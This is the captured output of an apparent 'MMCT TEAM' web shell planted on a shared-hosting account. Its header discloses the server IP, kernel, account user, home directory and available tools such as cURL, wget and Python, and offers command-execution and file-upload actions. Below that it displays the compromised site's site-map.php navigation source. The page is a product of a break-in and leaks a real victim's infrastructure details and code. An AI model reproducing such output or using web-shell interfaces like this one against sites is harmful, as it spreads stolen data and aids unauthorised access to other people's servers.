MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.141.29.90
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/generalmotorsju.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/generalmotorsju.com/site-map.php
<?php include("site-header.php");?>
  <!-- End Header --> 
  
  <!-- page-banner-section 
			================================================== -->
  <section class="page-banner-section">
    <div class="container">
      <h1><?=ucwords(strtolower($pgHeading));?></h1>
      <ul class="page-depth">
        <li><a href="<?=$site_url?>/index.html">Home</a></li>
        <li><a href="<?=$site_url?>/gallery.html">
          <?=ucwords(strtolower($pgHeading));?>
          </a></li>
      </ul>
    </div>
  </section>
  <!-- End page-banner section --> 
  
  <!-- services section 
			================================================== -->
  <section class="services-section" style="margin-bottom:35px;">
    <div class="container">
      <div class="services-box">
        <div class="row">
          <div class="col-md-12">
            <div class="col-md-6" style="margin-top:40px;"> 
            <h3>Site Links</h3>
            <hr style="margin:0; width:80px;">
            <ul class="linkSite" style="margin-top:15px;">
            <?php 
	  $link_sqls=db_query("select * from tbl_site_pages where 1 and site_pages_status='Active' order by site_pages_order_by asc");
	  if(mysqli_num_rows($link_sqls)>0){
	   while($link_datas=mysqli_fetch_array($link_sqls)){
	   $pgNamea=$link_datas['site_pages_link'];
	  ?>
                <li style="padding:4px;"><a href="<?=$site_url?>/<?=$link_datas['site_pages_link']?>.html" style="color:black;"><i class="fa fa-angle-right"></i> <?=$link_datas['site_pages_name']?>  </a></li>
                <? }} ?>
              </ul>
            </div>
            
             <div class="col-md-6" style="margin-top:40px;"> 
            <h3>Our <?php if($compDATA['admin_product_option']=='Yes'){ ?>Products<? }else{ ?>Services<? } ?></h3>
            <hr style="margin:0; width:80px;">
            <ul class="linkSite" style="margin-top:15px;">
                <?php
function fetch_menu($query) {
$site_url=db_scalar("select admin_website_url from tbl_admin where 1");
	while ( $result = mysqli_fetch_array ( $query ) ) {
		$menu_id = $result ['category_id'];
		$menu_name = ucwords(strtolower($result ['category_name']));
		$menu_cat_link = $result ['category_url'];
		
 	  echo "<li style='padding:4px;'><a href='$site_url/{$menu_cat_link}.html' style='color:black;'><i class='fa fa-caret-right caretAmi'></i>{$menu_name}</a>";
		if (has_child ( query ( $menu_id ) )) {
			echo "<ul style='list-style:none;'>";
			fetch_menu ( query ( $menu_id ) );
			echo "</ul>";
		}
		echo "</li>";
	}
}
fetch_menu (query(0)); //call this function with 0 parent id
?> 
              </ul>
            </div>
            
          
          </div>
        </div>
      </div>
    </div>
  </section>
  <!-- End services section --> 
  <!-- footer 
			================================================== -->
 <?php include("site-footer.php");?>

MMCT - 2023